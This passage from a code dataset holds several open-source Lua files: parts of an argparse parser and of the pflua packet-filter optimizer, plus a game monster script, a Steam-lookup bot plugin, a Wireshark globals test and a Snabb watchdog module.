elseif type_ == "counter" then if not overwrite then result[target] = result[target]+1 end elseif type_ == "multicount" then if overwrite then table.remove(result[target], 1) end elseif type_ == "twodimensional" then table.insert(result[target], {}) if overwrite then table.remove(result[target], 1) end end if element._maxargs == 0 then close(element) end end function pass(element, data) passed[element] = passed[element]+1 data = convert(element, data) local type_ = element:_get_type() local target = targets[element] if type_ == "arg" then result[target] = data elseif type_ == "multiarg" or type_ == "multicount" then table.insert(result[target], data) elseif type_ == "twodimensional" then table.insert(result[target][#result[target]], data) end if passed[element] == element._maxargs then close(element) end end local function complete_invocation(element) while passed[element] < element._minargs do pass(element, element._default) end end function close(element) if passed[element] < element._minargs then if element._default and element._defmode:find "a" then complete_invocation(element) else error_("too few arguments") end else if element == cur_option then cur_option = nil elseif element == cur_arg then cur_arg_i = cur_arg_i+1 cur_arg = arguments[cur_arg_i] end end end local function switch(p) parser = p for _, option in ipairs(parser._options) do table.insert(options, option) for _, alias in ipairs(option._aliases) do opt_context[alias] = option end local type_ = option:_get_type() targets[option] = option._target or option:_get_default_target() if type_ == "counter" then result[targets[option]] = 0 elseif type_ == "multicount" or type_ == "twodimensional" then result[targets[option]] = {} end invocations[option] = 0 end for _, mutex in ipairs(parser._mutexes) do for _, option in ipairs(mutex) do if not option_mutexes[option] then option_mutexes[option] = {mutex} else table.insert(option_mutexes[option], mutex) end end end for _, argument in ipairs(parser._arguments) do table.insert(arguments, argument) invocations[argument] = 0 targets[argument] = argument._target or argument._name invoke(argument) end handle_options = parser._handle_options cur_arg = arguments[cur_arg_i] commands = parser._commands com_context = {} for _, command in ipairs(commands) do targets[command] = command._target or command._name for _, alias in ipairs(command._aliases) do com_context[alias] = command end end end local function get_option(name) return assert_(opt_context[name], "unknown option '%s'%s", name, get_tip(opt_context, name)) end local function do_action(element) if element._action then element._action() end end local function handle_argument(data) if cur_option then pass(cur_option, data) elseif cur_arg then pass(cur_arg, data) else local com = com_context[data] if not com then if #commands > 0 then error_("unknown command '%s'%s", data, get_tip(com_context, data)) else error_("too many arguments") end else result[targets[com]] = true do_action(com) switch(com) end end end local function handle_option(data) if cur_option then close(cur_option) end cur_option = opt_context[data] if option_mutexes[cur_option] then for _, mutex in ipairs(option_mutexes[cur_option]) do if used_mutexes[mutex] and used_mutexes[mutex] ~= cur_option then error_("option '%s' can not be used together with option '%s'", data, used_mutexes[mutex]._name) else used_mutexes[mutex] = cur_option end end end do_action(cur_option) invoke(cur_option) end local function mainloop() for _, data in ipairs(args) do local plain = true local first, name, option if handle_options then first = data:sub(1, 1) if charset[first] then if #data > 1 then plain = false if data:sub(2, 2) == first then if #data == 2 then if cur_option then close(cur_option) end handle_options = false else local equal = data:find "=" if equal then name = data:sub(1, equal-1) option = get_option(name) assert_(option._maxargs > 0, "option '%s' does not take arguments", name) handle_option(data:sub(1, equal-1)) handle_argument(data:sub(equal+1)) else get_option(data) handle_option(data) end end else for i = 2, #data do name = first .. data:sub(i, i) option = get_option(name) handle_option(name) if i ~= #data and option._minargs > 0 then handle_argument(data:sub(i+1)) break end end end end end end if plain then handle_argument(data) end end end switch(self) charset = parser:_update_charset() mainloop() if cur_option then close(cur_option) end while cur_arg do if passed[cur_arg] == 0 and cur_arg._default and cur_arg._defmode:find "u" then complete_invocation(cur_arg) else close(cur_arg) end end if parser._require_command and #commands > 0 then error_("a command is required") end for _, option in ipairs(options) do if invocations[option] == 0 then if option._default and option._defmode:find "u" then invoke(option) complete_invocation(option) close(option) end end if invocations[option] < option._mincount then if option._default and option._defmode:find "a" then while invocations[option] < option._mincount do invoke(option) close(option) end else error_("option '%s' must be used at least %d time%s", option._name, option._mincount, plural(option._mincount)) end end end return result end function Parser:error(msg) io.stderr:write(("%s\n\nError: %s\n"):format(self:get_usage(), msg)) os.exit(1) end function Parser:parse(args) return self:_parse(args, Parser.error) end function Parser:pparse(args) local errmsg local ok, result = pcall(function() return self:_parse(args, function(_, err) errmsg = err return error() end) end) if ok then return true, result else assert(errmsg, result) return false, errmsg end end return function(...) return Parser(default_cmdline[0]):add_help(true)(...) end
apache-2.0
LaFamiglia/Illarion-Content
monster/race_3_elf/id_34_mage.lua
1
1430
--[[ Illarion Server This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ]] --ID 34, Elven Mage, Level: 5, Armourtype: cloth, Weapontype: concussion local elves = require("monster.race_3_elf.base") local mageBehaviour = require("monster.base.behaviour.mage") local monstermagic = require("monster.base.monstermagic") local magic = monstermagic() magic.addWarping{probability = 0.15, usage = magic.ONLY_NEAR_ENEMY} magic.addFireball{probability = 0.05, damage = {from = 1000, to = 2000}} magic.addFireball{probability = 0.03, damage = {from = 500, to = 1000}, targetCount = 3} magic.addHealing{probability = 0.05, damage = {from = 1000, to = 2000}} magic.addHealing{probability = 0.05, damage = {from = 500, to = 1000}, targetCount = 3} local M = elves.generateCallbacks() M = magic.addCallbacks(M) return mageBehaviour.addCallbacks(magic, M)
agpl-3.0
eagle14/Snippy
plugins/steam.lua
645
2117
-- See https://wiki.teamfortress.com/wiki/User:RJackson/StorefrontAPI do local BASE_URL = 'http://store.steampowered.com/api/appdetails/' local DESC_LENTH = 200 local function unescape(str) str = string.gsub( str, '&lt;', '<' ) str = string.gsub( str, '&gt;', '>' ) str = string.gsub( str, '&quot;', '"' ) str = string.gsub( str, '&apos;', "'" ) str = string.gsub( str, '&#(%d+);', function(n) return string.char(n) end ) str = string.gsub( str, '&#x(%d+);', function(n) return string.char(tonumber(n,16)) end ) str = string.gsub( str, '&amp;', '&' ) -- Be sure to do this after all others return str end local function get_steam_data (appid) local url = BASE_URL url = url..'?appids='..appid url = url..'&cc=us' local res,code = http.request(url) if code ~= 200 then return nil end local data = json:decode(res)[appid].data return data end local function price_info (data) local price = '' -- If no data is empty if data then local initial = data.initial local final = data.final or data.initial local min = math.min(data.initial, data.final) price = tostring(min/100) if data.discount_percent and initial ~= final then price = price..data.currency..' ('..data.discount_percent..'% OFF)' end price = price..' (US)' end return price end local function send_steam_data(data, receiver) local description = string.sub(unescape(data.about_the_game:gsub("%b<>", "")), 1, DESC_LENTH) .. '...' local title = data.name local price = price_info(data.price_overview) local text = title..' '..price..'\n'..description local image_url = data.header_image local cb_extra = { receiver = receiver, url = image_url } send_msg(receiver, text, send_photo_from_url_callback, cb_extra) end local function run(msg, matches) local appid = matches[1] local data = get_steam_data(appid) local receiver = get_receiver(msg) send_steam_data(data, receiver) end return { description = "Grabs Steam info for Steam links.", usage = "", patterns = { "http://store.steampowered.com/app/([0-9]+)", }, run = run } end
gpl-2.0
dameiss/wireshark-aeron
test/lua/verify_globals.lua
36
3492
-- verify_globals.lua -- ignore things that change on different machines or every release -- the following items still have to exist, but their values don't have to match local filter = { -- differences by machine "DATA_DIR", "USER_DIR", "package.cpath", "package.path", "package.loaded", "run_user_scripts_when_superuser", "running_superuser", -- differences in Lua versions "_VERSION", "package.config", -- differences caused by changes in wireshark 1.11 "NSTime", "Proto", 'Listener["<metatable>"].__index', ".__index" } -- the following items don't have to exist local ignore = { -- not sure why this was removed in wireshark 1.11, but it was "TreeItem.set_expert_flags", -- in Lua 5.1 only "debug.getfenv", "debug.setfenv", "gcinfo", "getfenv", "io.gfind", "setfenv", "math.mod", "newproxy", "string.gfind", "table.foreach", "table.foreachi", "table.getn", "table.setn", -- in Lua 5.2+ only "bit32", "debug.getuservalu", "debug.setuservalu", "debug.upvalueid", "debug.upvaluejoin", "package.searchers", "package.searchpath", "rawlen", "table.pack", "table.unpack", } local arg={...} -- get passed-in args -- arg1 = path to find inspect -- arg2 = filename to read in (optional, unless 'verify' is set) -- arg3 = 'verify' to verify all of read-in file is in _G (default); 'new' to output all items in _G that are not in read-in file -- arg4 = 'nometa' to ignore metatables; 'meta' otherwise (default) local add_path = "lua/?.lua;" if #arg > 0 then add_path = arg[1].."?.lua;" end print("package.path = " .. package.path) -- need the path to find inspect.lua local old_path = package.path package.path = add_path .. package.path local inspect = require("inspect") package.path = old_path -- return path to original print("-- Wireshark version: " .. get_version()) if #arg == 1 then -- no more args, so just output globals print(inspect(_G, { serialize = true, filter = inspect.makeFilter(filter) })) return end local file = assert(io.open(arg[2], "r")) local input = file:read("*all") input = inspect.marshal(input) local nometa = false if #arg > 3 and arg[4] == "nometa" then nometa = true end if #arg == 2 or arg[3] == "verify" then print(string.rep("\n", 2)) print("Verifying input file '"..arg[2].."' is contained within the global table") local ret, diff = inspect.compare(input, _G, { ['filter'] = inspect.makeFilter(filter), ['ignore'] = inspect.makeFilter(ignore), ['nonumber'] = true, ['nometa'] = nometa }) if not ret then print("Comparison failed - global table does not have all the items in the input file!") print(string.rep("\n", 2)) print(string.rep("-", 80)) print("Differences are:") print(inspect(diff)) else print("\n-----------------------------\n") print("All tests passed!\n\n") end return elseif #arg > 2 and arg[3] == "new" then local ret, diff = inspect.compare(_G, input, { ['filter'] = inspect.makeFilter(filter), ['ignore'] = inspect.makeFilter(ignore), ['nonumber'] = true, ['keep'] = true, ['nometa'] = nometa }) if not ret then print(inspect(diff)) else print("\n-----------------------------\n") print("No new items!\n\n") end end
gpl-2.0
snabbnfv-goodies/snabbswitch
src/lib/watchdog/watchdog.lua
15
1039
module(...,package.seeall) ffi = require("ffi") C = ffi.C -- Watchdog timeout in unit defined by `precision' (just below). timeout = nil -- Watchdog precision. precision = nil -- Set watchdog timeout to mseconds (milliseconds). Does NOT start the -- watchdog. Values for mseconds>1000 are truncated to the next second, -- e.g. set(1100) <=> set(2000). function set (mseconds) if mseconds > 1000 then timeout = math.ceil(mseconds / 1000) precision = "second" else timeout = mseconds * 1000 precision = "microsecond" end end -- (Re)set timeout. E.g. starts the watchdog if it has not been started -- before and resets the timeout otherwise. function reset () if precision == "second" then C.alarm(timeout) elseif precision == "microsecond" then C.ualarm(timeout, 0) else error("Watchdog was not set.") end end -- Disable timeout. function stop () if precision == "second" then C.alarm(0) elseif precision == "microsecond" then C.ualarm(0,0) end end
apache-2.0
snabbnfv-goodies/snabbswitch
lib/pflua/src/pf/optimize.lua
25
33625
module(...,package.seeall) local bit = require('bit') local utils = require('pf.utils') local verbose = os.getenv("PF_VERBOSE"); local expand_arith, expand_relop, expand_bool local set, concat, dup, pp = utils.set, utils.concat, utils.dup, utils.pp -- Pflang's numbers are unsigned 32-bit integers, but sometimes we use -- negative numbers because the bitops module prefers them. local UINT32_MAX = 2^32-1 local INT32_MAX = 2^31-1 local INT32_MIN = -2^31 local UINT16_MAX = 2^16-1 -- We use use Lua arithmetic to implement pflang operations, so -- intermediate results can exceed the int32|uint32 range. Those -- intermediate results are then clamped back to the range with the -- 'int32' or 'uint32' operations. Multiplication is clamped internally -- by the '*64' operation. We'll never see a value outside this range. local INT_MAX = UINT32_MAX + UINT32_MAX local INT_MIN = INT32_MIN + INT32_MIN local relops = set('<', '<=', '=', '!=', '>=', '>') local binops = set( '+', '-', '*', '*64', '/', '&', '|', '^', '<<', '>>' ) local associative_binops = set( '+', '*', '*64', '&', '|', '^' ) local bitops = set('&', '|', '^') local unops = set('ntohs', 'ntohl', 'uint32', 'int32') -- ops that produce results of known types local int32ops = set('&', '|', '^', 'ntohs', 'ntohl', '<<', '>>', 'int32') local uint32ops = set('uint32', '[]') -- ops that coerce their arguments to be within range local coerce_ops = set('&', '|', '^', 'ntohs', 'ntohl', '<<', '>>', 'int32', 'uint32') local folders = { ['+'] = function(a, b) return a + b end, ['-'] = function(a, b) return a - b end, ['*'] = function(a, b) return a * b end, ['*64'] = function(a, b) return tonumber((a * 1LL * b) % 2^32) end, ['/'] = function(a, b) -- If the denominator is zero, the code is unreachable, so it -- doesn't matter what we return. if b == 0 then return 0 end return math.floor(a / b) end, ['&'] = function(a, b) return bit.band(a, b) end, ['^'] = function(a, b) return bit.bxor(a, b) end, ['|'] = function(a, b) return bit.bor(a, b) end, ['<<'] = function(a, b) return bit.lshift(a, b) end, ['>>'] = function(a, b) return bit.rshift(a, b) end, ['ntohs'] = function(a) return bit.rshift(bit.bswap(a), 16) end, ['ntohl'] = function(a) return bit.bswap(a) end, ['uint32'] = function(a) return a % 2^32 end, ['int32'] = function(a) return bit.tobit(a) end, ['='] = function(a, b) return a == b end, ['!='] = function(a, b) return a ~= b end, ['<'] = function(a, b) return a < b end, ['<='] = function(a, b) return a <= b end, ['>='] = function(a, b) return a >= b end, ['>'] = function(a, b) return a > b end } local cfkey_cache, cfkey = {}, nil local function memoize(f) return function (arg) local result = cfkey_cache[arg] if result == nil then result = f(arg) cfkey_cache[arg] = result end return result end end local function clear_cache() cfkey_cache = {} end cfkey = memoize(function (expr) if type(expr) == 'table' then local parts = {'('} for i=1,#expr do parts[i+1] = cfkey(expr[i]) end parts[#parts+1] = ')' return table.concat(parts, " ") else return expr end end) -- A simple expression can be duplicated. FIXME: Some calls are simple, -- some are not. For now our optimizations don't work very well if we -- don't allow duplication though. local simple = set('true', 'false', 'match', 'fail', 'call') local tailops = set('fail', 'match', 'call') local trueops = set('match', 'call', 'true') local commute = { ['<']='>', ['<=']='>=', ['=']='=', ['!=']='!=', ['>=']='<=', ['>']='<' } local function try_invert(relop, expr, C) assert(type(C) == 'number' and type(expr) ~= 'number') local op = expr[1] local is_eq = relop == '=' or relop == '!=' if op == 'ntohl' and is_eq then local rhs = expr[2] if int32ops[rhs[1]] then assert(INT32_MIN <= C and C <= INT32_MAX) -- ntohl(INT32) = C => INT32 = ntohl(C) return relop, rhs, assert(folders[op])(C) elseif uint32ops[rhs[1]] then -- ntohl(UINT32) = C => UINT32 = uint32(ntohl(C)) return relop, rhs, assert(folders[op])(C) % 2^32 end elseif op == 'ntohs' and is_eq then local rhs = expr[2] if ((rhs[1] == 'ntohs' or (rhs[1] == '[]' and rhs[3] <= 2)) and 0 <= C and C <= UINT16_MAX) then -- ntohs(UINT16) = C => UINT16 = ntohs(C) return relop, rhs, assert(folders[op])(C) end elseif op == 'uint32' and is_eq then local rhs = expr[2] if int32ops[rhs[1]] then -- uint32(INT32) = C => INT32 = int32(C) return relop, rhs, bit.tobit(C) end elseif op == 'int32' and is_eq then local rhs = expr[2] if uint32ops[rhs[1]] then -- int32(UINT32) = C => UINT32 = uint32(C) return relop, rhs, C ^ 2^32 end elseif bitops[op] and is_eq then local lhs, rhs = expr[2], expr[3] if type(lhs) == 'number' and rhs[1] == 'ntohl' then -- bitop(C, ntohl(X)) = C => bitop(ntohl(C), X) = ntohl(C) local swap = assert(folders[rhs[1]]) return relop, { op, swap(lhs), rhs[2] }, swap(C) elseif type(rhs) == 'number' and lhs[1] == 'ntohl' then -- bitop(ntohl(X), C) = C => bitop(X, ntohl(C)) = ntohl(C) local swap = assert(folders[lhs[1]]) return relop, { op, lhs[2], swap(rhs) }, swap(C) elseif op == '&' then if type(lhs) == 'number' then lhs, rhs = rhs, lhs end if (type(lhs) == 'table' and lhs[1] == 'ntohs' and type(rhs) == 'number' and 0 <= C and C <= UINT16_MAX) then -- ntohs(X) & C = C => X & ntohs(C) = ntohs(C) local swap = assert(folders[lhs[1]]) return relop, { op, lhs[2], swap(rhs) }, swap(C) end end end return relop, expr, C end local simplify_if local function simplify(expr, is_tail) if type(expr) ~= 'table' then return expr end local op = expr[1] local function decoerce(expr) if (type(expr) == 'table' and (expr[1] == 'uint32' or expr[1] == 'int32')) then return expr[2] end return expr end if binops[op] then local lhs = simplify(expr[2]) local rhs = simplify(expr[3]) if type(lhs) == 'number' and type(rhs) == 'number' then return assert(folders[op])(lhs, rhs) elseif associative_binops[op] then -- Try to make the right operand a number. if type(lhs) == 'number' then lhs, rhs = rhs, lhs end if type(lhs) == 'table' and lhs[1] == op and type(lhs[3]) == 'number' then if type(rhs) == 'number' then -- (A op N1) op N2 -> A op (N1 op N2) return { op, lhs[2], assert(folders[op])(lhs[3], rhs) } elseif type(rhs) == 'table' and rhs[1] == op and type(rhs[3]) == 'number' then -- (A op N1) op (B op N2) -> (A op B) op (N1 op N2) return { op, { op, lhs[2], rhs[2] }, assert(folders[op])(lhs[3], rhs[3]) } else -- (A op N) op X -> (A op X) op N return { op, { op, lhs[2], rhs }, lhs[3] } end elseif type(rhs) == 'table' and rhs[1] == op and type(rhs[3]) == 'number' then -- X op (A op N) -> (X op A) op N return { op, { op, lhs, rhs[2]}, rhs[3] } end if coerce_ops[op] then lhs, rhs = decoerce(lhs), decoerce(rhs) end end return { op, lhs, rhs } elseif unops[op] then local rhs = simplify(expr[2]) if type(rhs) == 'number' then return assert(folders[op])(rhs) end if op == 'int32' and int32ops[rhs[1]] then return rhs end if op == 'uint32' and uint32ops[rhs[1]] then return rhs end if coerce_ops[op] then rhs = decoerce(rhs) end return { op, rhs } elseif relops[op] then local lhs = simplify(expr[2]) local rhs = simplify(expr[3]) if type(lhs) == 'number' then if type(rhs) == 'number' then return { assert(folders[op])(lhs, rhs) and 'true' or 'false' } end op, lhs, rhs = try_invert(assert(commute[op]), rhs, lhs) elseif type(rhs) == 'number' then op, lhs, rhs = try_invert(op, lhs, rhs) end return { op, lhs, rhs } elseif op == 'if' then local test = simplify(expr[2]) local t, f = simplify(expr[3], is_tail), simplify(expr[4], is_tail) return simplify_if(test, t, f) elseif op == 'call' then local ret = { 'call', expr[2] } for i=3,#expr do table.insert(ret, simplify(expr[i])) end return ret else if op == 'match' or op == 'fail' then return expr end if op == 'true' then if is_tail then return { 'match' } end return expr end if op == 'false' then if is_tail then return { 'fail' } end return expr end assert(op == '[]' and #expr == 3) return { op, simplify(expr[2]), expr[3] } end end function simplify_if(test, t, f) local op = test[1] if op == 'true' then return t elseif op == 'false' then return f elseif tailops[op] then return test elseif t[1] == 'true' and f[1] == 'false' then return test elseif t[1] == 'match' and f[1] == 'fail' then return test elseif t[1] == 'fail' and f[1] == 'fail' then return { 'fail' } elseif op == 'if' then if tailops[test[3][1]] then -- if (if A tail B) C D -> if A tail (if B C D) return simplify_if(test[2], test[3], simplify_if(test[4], t, f)) elseif tailops[test[4][1]] then -- if (if A B tail) C D -> if A (if B C D) tail return simplify_if(test[2], simplify_if(test[3], t, f), test[4]) elseif test[3][1] == 'false' and test[4][1] == 'true' then -- if (if A false true) C D -> if A D C return simplify_if(test[2], f, t) end if t[1] == 'if' and cfkey(test[2]) == cfkey(t[2]) then if f[1] == 'if' and cfkey(test[2]) == cfkey(f[2]) then -- if (if A B C) (if A D E) (if A F G) -- -> if A (if B D F) (if C E G) return simplify_if(test[2], simplify_if(test[3], t[3], f[3]), simplify_if(test[4], t[4], f[4])) elseif simple[f[1]] then -- if (if A B C) (if A D E) F -- -> if A (if B D F) (if C E F) return simplify_if(test[2], simplify_if(test[3], t[3], f), simplify_if(test[4], t[4], f)) end end if f[1] == 'if' then if cfkey(test[2]) == cfkey(f[2]) and simple[t[1]] then -- if (if A B C) D (if A E F) -- -> if A (if B D E) (if C D F) return simplify_if(test[2], simplify_if(test[3], t, f[3]), simplify_if(test[4], t, f[4])) elseif (test[4][1] == 'false' and f[2][1] == 'if' and f[2][4][1] == 'false' and simple[f[4][1]] and cfkey(test[2]) == cfkey(f[2][2])) then -- if (if T A false) B (if (if T C false) D E) -- -> if T (if A B (if C D E)) E local T, A, B, C, D, E = test[2], test[3], t, f[2][3], f[3], f[4] return simplify_if(T, simplify_if(A, B, simplify_if(C, D, E)), E) end end end if f[1] == 'if' and cfkey(t) == cfkey(f[3]) and not simple[t[1]] then -- if A B (if C B D) -> if (if A true C) B D return simplify_if(simplify_if(test, { 'true' }, f[2]), t, f[4]) end if t[1] == 'if' and cfkey(f) == cfkey(t[4]) and not simple[f[1]] then -- if A (if B C D) D -> if (if A B false) C D return simplify_if(simplify_if(test, t[2], { 'false' }), t[3], f) end return { 'if', test, t, f } end -- Conditional folding. local function cfold(expr, db) if type(expr) ~= 'table' then return expr end local op = expr[1] if binops[op] then return expr elseif unops[op] then return expr elseif relops[op] then local key = cfkey(expr) if db[key] ~= nil then return { db[key] and 'true' or 'false' } else return expr end elseif op == 'if' then local test = cfold(expr[2], db) local key = cfkey(test) if db[key] ~= nil then if db[key] then return cfold(expr[3], db) end return cfold(expr[4], db) else local db_kt = tailops[expr[4][1]] and db or dup(db) local db_kf = tailops[expr[3][1]] and db or dup(db) db_kt[key] = true db_kf[key] = false return { op, test, cfold(expr[3], db_kt), cfold(expr[4], db_kf) } end else return expr end end -- Range inference. local function Range(min, max) assert(min == min, 'min is NaN') assert(max == max, 'max is NaN') -- if min is less than max, we have unreachable code. still, let's -- not violate assumptions (e.g. about wacky bitshift semantics) if min > max then min, max = min, min end local ret = { min_ = min, max_ = max } function ret:min() return self.min_ end function ret:max() return self.max_ end function ret:range() return self:min(), self:max() end function ret:fold() if self:min() == self:max() then return self:min() end end function ret:lt(other) return self:max() < other:min() end function ret:gt(other) return self:min() > other:max() end function ret:union(other) return Range(math.min(self:min(), other:min()), math.max(self:max(), other:max())) end function ret:restrict(other) return Range(math.max(self:min(), other:min()), math.min(self:max(), other:max())) end function ret:tobit() if (self:max() - self:min() < 2^32 and bit.tobit(self:min()) <= bit.tobit(self:max())) then return Range(bit.tobit(self:min()), bit.tobit(self:max())) end return Range(INT32_MIN, INT32_MAX) end function ret.binary(lhs, rhs, op) -- for monotonic functions local fold = assert(folders[op]) local a = fold(lhs:min(), rhs:min()) local b = fold(lhs:min(), rhs:max()) local c = fold(lhs:max(), rhs:max()) local d = fold(lhs:max(), rhs:min()) return Range(math.min(a, b, c, d), math.max(a, b, c, d)) end function ret.add(lhs, rhs) return lhs:binary(rhs, '+') end function ret.sub(lhs, rhs) return lhs:binary(rhs, '-') end function ret.mul(lhs, rhs) return lhs:binary(rhs, '*') end function ret.mul64(lhs, rhs) return Range(0, UINT32_MAX) end function ret.div(lhs, rhs) local rhs_min, rhs_max = rhs:min(), rhs:max() -- 0 is prohibited by assertions, so we won't hit it at runtime, -- but we could still see { '/', 0, 0 } in the IR when it is -- dominated by an assertion that { '!=', 0, 0 }. The resulting -- range won't include the rhs-is-zero case. if rhs_min == 0 then -- If the RHS is (or folds to) literal 0, we certainly won't -- reach here so we can make up whatever value we want. if rhs_max == 0 then return Range(0, 0) end rhs_min = 1 elseif rhs_max == 0 then rhs_max = -1 end -- Now that we have removed 0 from the limits, -- if the RHS can't change sign, we can use binary() on its range. if rhs_min > 0 or rhs_max < 0 then return lhs:binary(Range(rhs_min, rhs_max), '/') end -- Otherwise we can use binary() on the two semi-ranges. local low, high = Range(rhs_min, -1), Range(1, rhs_max) return lhs:binary(low, '/'):union(lhs:binary(high, '/')) end function ret.band(lhs, rhs) lhs, rhs = lhs:tobit(), rhs:tobit() if lhs:min() < 0 and rhs:min() < 0 then return Range(INT32_MIN, INT32_MAX) end return Range(0, math.max(math.min(lhs:max(), rhs:max()), 0)) end function ret.bor(lhs, rhs) lhs, rhs = lhs:tobit(), rhs:tobit() local function saturate(x) local y = 1 while y < x do y = y * 2 end return y - 1 end if lhs:min() < 0 or rhs:min() < 0 then return Range(INT32_MIN, -1) end return Range(bit.bor(lhs:min(), rhs:min()), saturate(bit.bor(lhs:max(), rhs:max()))) end function ret.bxor(lhs, rhs) return lhs:bor(rhs) end function ret.lshift(lhs, rhs) lhs, rhs = lhs:tobit(), rhs:tobit() local function npot(x) -- next power of two if x >= 2^31 then return 32 end local n, i = 1, 1 while n < x do n, i = n * 2, i + 1 end return i end if lhs:min() >= 0 then local min_lhs, max_lhs = lhs:min(), lhs:max() -- It's nuts, but lshift does an implicit modulo on the RHS. local min_shift, max_shift = 0, 31 if rhs:min() >= 0 and rhs:max() < 32 then min_shift, max_shift = rhs:min(), rhs:max() end if npot(max_lhs) + max_shift < 32 then assert(bit.lshift(max_lhs, max_shift) > 0) return Range(bit.lshift(min_lhs, min_shift), bit.lshift(max_lhs, max_shift)) end end return Range(INT32_MIN, INT32_MAX) end function ret.rshift(lhs, rhs) lhs, rhs = lhs:tobit(), rhs:tobit() local min_lhs, max_lhs = lhs:min(), lhs:max() -- Same comments wrt modulo of shift. local min_shift, max_shift = 0, 31 if rhs:min() >= 0 and rhs:max() < 32 then min_shift, max_shift = rhs:min(), rhs:max() end if min_shift > 0 then -- If we rshift by 1 or more, result will not be negative. if min_lhs >= 0 and max_lhs < 2^32 then return Range(bit.rshift(min_lhs, max_shift), bit.rshift(max_lhs, min_shift)) else -- -1 is "all bits set". return Range(bit.rshift(-1, max_shift), bit.rshift(-1, min_shift)) end elseif min_lhs >= 0 and max_lhs < 2^31 then -- Left-hand-side in [0, 2^31): result not negative. return Range(bit.rshift(min_lhs, max_shift), bit.rshift(max_lhs, min_shift)) else -- Otherwise punt. return Range(INT32_MIN, INT32_MAX) end end return ret end local function infer_ranges(expr) local function cons(car, cdr) return { car, cdr } end local function car(pair) return pair[1] end local function cdr(pair) return pair[2] end local function cadr(pair) return car(cdr(pair)) end local function push(db) return cons({}, db) end local function lookup(db, expr) if type(expr) == 'number' then return Range(expr, expr) end local key = cfkey(expr) while db do local range = car(db)[key] if range then return range end db = cdr(db) end if expr == 'len' then return Range(0, UINT16_MAX) end return Range(INT_MIN, INT_MAX) end local function define(db, expr, range) if type(expr) == 'number' then return expr end car(db)[cfkey(expr)] = range if range:fold() then return range:min() end return expr end local function restrict(db, expr, range) return define(db, expr, lookup(db, expr):restrict(range)) end local function merge(db, head) for key, range in pairs(head) do car(db)[key] = range end end local function union(db, h1, h2) for key, range1 in pairs(h1) do local range2 = h2[key] if range2 then car(db)[key] = range1:union(range2) end end end -- Returns lhs true range, lhs false range, rhs true range, rhs false range local function branch_ranges(op, lhs, rhs) local function lt(a, b) return Range(a:min(), math.min(a:max(), b:max() - 1)) end local function le(a, b) return Range(a:min(), math.min(a:max(), b:max())) end local function eq(a, b) return Range(math.max(a:min(), b:min()), math.min(a:max(), b:max())) end local function ge(a, b) return Range(math.max(a:min(), b:min()), a:max()) end local function gt(a, b) return Range(math.max(a:min(), b:min()+1), a:max()) end if op == '<' then return lt(lhs, rhs), ge(lhs, rhs), gt(rhs, lhs), le(rhs, lhs) elseif op == '<=' then return le(lhs, rhs), gt(lhs, rhs), ge(rhs, lhs), lt(rhs, lhs) elseif op == '=' then -- Could restrict false continuations more. return eq(lhs, rhs), lhs, eq(rhs, lhs), rhs elseif op == '!=' then return lhs, eq(lhs, rhs), rhs, eq(rhs, lhs) elseif op == '>=' then return ge(lhs, rhs), lt(lhs, rhs), le(rhs, lhs), gt(rhs, lhs) elseif op == '>' then return gt(lhs, rhs), le(lhs, rhs), lt(rhs, lhs), ge(rhs, lhs) else error('unimplemented '..op) end end local function unop_range(op, rhs) if op == 'ntohs' then return Range(0, 0xffff) end if op == 'ntohl' then return Range(INT32_MIN, INT32_MAX) end if op == 'uint32' then return Range(0, 2^32) end if op == 'int32' then return rhs:tobit() end error('unexpected op '..op) end local function binop_range(op, lhs, rhs) if op == '+' then return lhs:add(rhs) end if op == '-' then return lhs:sub(rhs) end if op == '*' then return lhs:mul(rhs) end if op == '*64' then return lhs:mul64(rhs) end if op == '/' then return lhs:div(rhs) end if op == '&' then return lhs:band(rhs) end if op == '|' then return lhs:bor(rhs) end if op == '^' then return lhs:bxor(rhs) end if op == '<<' then return lhs:lshift(rhs) end if op == '>>' then return lhs:rshift(rhs) end error('unexpected op '..op) end local function visit(expr, db_t, db_f) if type(expr) ~= 'table' then return expr end local op = expr[1] -- Logical ops add to their db_t and db_f stores. if relops[op] then local db = push(db_t) local lhs, rhs = visit(expr[2], db), visit(expr[3], db) merge(db_t, car(db)) merge(db_f, car(db)) local function fold(l, r) return { assert(folders[op])(l, r) and 'true' or 'false' } end local lhs_range, rhs_range = lookup(db_t, lhs), lookup(db_t, rhs) -- If we folded both sides, or if the ranges are strictly -- ordered, the condition will fold. if ((lhs_range:fold() and rhs_range:fold()) or lhs_range:lt(rhs_range) or lhs_range:gt(rhs_range)) then return fold(lhs_range:min(), rhs_range:min()) elseif (lhs_range:max() == rhs_range:min() and op == '<=' or lhs_range:min() == rhs_range:max() and op == '>=') then -- The ranges are ordered, but not strictly, and in the same -- sense as the test: the condition is true. return { 'true' } end -- Otherwise, the relop may restrict the ranges for both -- arguments along both continuations. local lhs_range_t, lhs_range_f, rhs_range_t, rhs_range_f = branch_ranges(op, lhs_range, rhs_range) restrict(db_t, lhs, lhs_range_t) restrict(db_f, lhs, lhs_range_f) restrict(db_t, rhs, rhs_range_t) restrict(db_f, rhs, rhs_range_f) return { op, lhs, rhs } elseif simple[op] then return expr elseif op == 'if' then local test, t, f = expr[2], expr[3], expr[4] local test_db_t, test_db_f = push(db_t), push(db_t) test = visit(test, test_db_t, test_db_f) local kt_db_t, kt_db_f = push(test_db_t), push(test_db_t) local kf_db_t, kf_db_f = push(test_db_f), push(test_db_f) t = visit(t, kt_db_t, kt_db_f) f = visit(f, kf_db_t, kf_db_f) if tailops[t[1]] then local head_t, head_f = car(kf_db_t), car(kf_db_f) local assertions = cadr(kf_db_t) merge(db_t, assertions) merge(db_t, head_t) merge(db_f, assertions) merge(db_f, head_f) elseif tailops[f[1]] then local head_t, head_f = car(kt_db_t), car(kt_db_f) local assertions = cadr(kt_db_t) merge(db_t, assertions) merge(db_t, head_t) merge(db_f, assertions) merge(db_f, head_f) else local head_t_t, head_t_f = car(kt_db_t), car(kt_db_f) local head_f_t, head_f_f = car(kf_db_t), car(kf_db_f) -- union the assertions? union(db_t, head_t_t, head_f_t) union(db_f, head_t_f, head_f_f) end return { op, test, t, f } elseif op == 'call' then return expr else -- An arithmetic op, which interns into the fresh table 